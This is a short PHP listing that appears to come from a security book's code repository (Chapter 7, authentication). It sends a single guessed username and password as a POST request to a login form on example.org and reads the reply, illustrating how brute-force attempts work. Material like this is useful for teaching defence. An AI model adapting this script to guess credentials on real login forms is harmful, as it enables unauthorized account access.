Brute Force an Authentication Form
(Chapter 7, Authentication and Authorization - Pg 65)
< Back to Code Repository
<?php
$username = 'victim';
$password = 'guess';
$content = "username=$username&password=$password";
$content_length = strlen($content);
$http_request = '';
$http_response = '';
$http_request .= "POST /login.php HTTP/1.1\r\n";
$http_request .= "Host: example.org\r\n";
$http_request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http_request .= "Content-Length: $content_length\r\n";
$http_request .= "Connection: close\r\n";
$http_request .= "\r\n";
$http_request .= $content;
if ($handle = fsockopen('example.org', 80))
{
fputs($handle, $http_request);
while (!feof($handle))
{
$http_response .= fgets($handle, 1024);
}
fclose($handle);
/* Check Response */
}
else
{
/* Error */
}
?>
